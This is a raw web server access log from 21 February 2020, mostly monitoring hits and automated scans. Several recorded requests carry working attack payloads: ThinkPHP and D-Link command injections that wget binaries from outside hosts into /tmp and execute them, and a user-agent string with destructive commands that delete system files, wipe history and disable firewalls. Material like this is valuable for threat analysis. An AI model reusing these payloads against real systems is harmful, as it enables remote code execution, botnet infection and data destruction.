193.57.40.38 - - [21/Feb/2020:11:11:58 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:13:07 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:14:01 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
159.192.171.111 - - [21/Feb/2020:11:14:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:14:31 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:15:10 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:15:22 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:15:34 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:20:01 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:20:26 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:21:01 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:21:45 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:22:11 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.56.118 - - [21/Feb/2020:11:23:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:11:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.41.146.5 - - [21/Feb/2020:11:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:26:34 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.127.73.164 - - [21/Feb/2020:11:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
59.127.73.164 - - [21/Feb/2020:11:29:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:11:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [21/Feb/2020:11:29:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:11:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:30:52 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:32:00 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [21/Feb/2020:11:40:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
193.57.40.38 - - [21/Feb/2020:11:40:06 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:40:12 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:40:29 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:40:36 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:40:50 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:41:24 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:41:55 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.13 - - [21/Feb/2020:11:44:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [21/Feb/2020:11:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:11:44:39 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:44:42 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:44:57 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:45:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:45:19 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:45:22 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:46:43 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.78.172 - - [21/Feb/2020:11:47:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [21/Feb/2020:11:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:11:48:51 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:49:08 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:11:49:31 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [21/Feb/2020:11:50:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:11:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [21/Feb/2020:11:51:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:11:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.25.0.193 - - [21/Feb/2020:11:53:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.25.0.193 - - [21/Feb/2020:11:53:17 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.25.0.193 - - [21/Feb/2020:11:53:17 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [21/Feb/2020:11:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.25.0.193 - - [21/Feb/2020:11:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.25.0.193 - - [21/Feb/2020:11:53:40 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.25.0.193 - - [21/Feb/2020:11:53:41 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.25.0.193 - - [21/Feb/2020:11:53:44 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.25.0.193 - - [21/Feb/2020:11:53:44 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.25.0.193 - - [21/Feb/2020:11:54:08 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.25.0.193 - - [21/Feb/2020:11:54:32 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [21/Feb/2020:11:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.25.0.193 - - [21/Feb/2020:11:54:56 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.25.0.193 - - [21/Feb/2020:11:55:20 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [21/Feb/2020:11:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.25.0.193 - - [21/Feb/2020:11:55:44 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.25.0.193 - - [21/Feb/2020:11:56:08 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.25.0.193 - - [21/Feb/2020:11:56:32 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
212.91.246.72 - - [21/Feb/2020:11:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.25.0.193 - - [21/Feb/2020:11:56:32 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:33 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:33 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:34 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:36 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:36 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:36 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:36 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:37 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:37 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:37 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:37 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:37 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:38 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:38 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:40 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:40 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:40 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:41 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:41 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.25.0.193 - - [21/Feb/2020:11:56:42 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
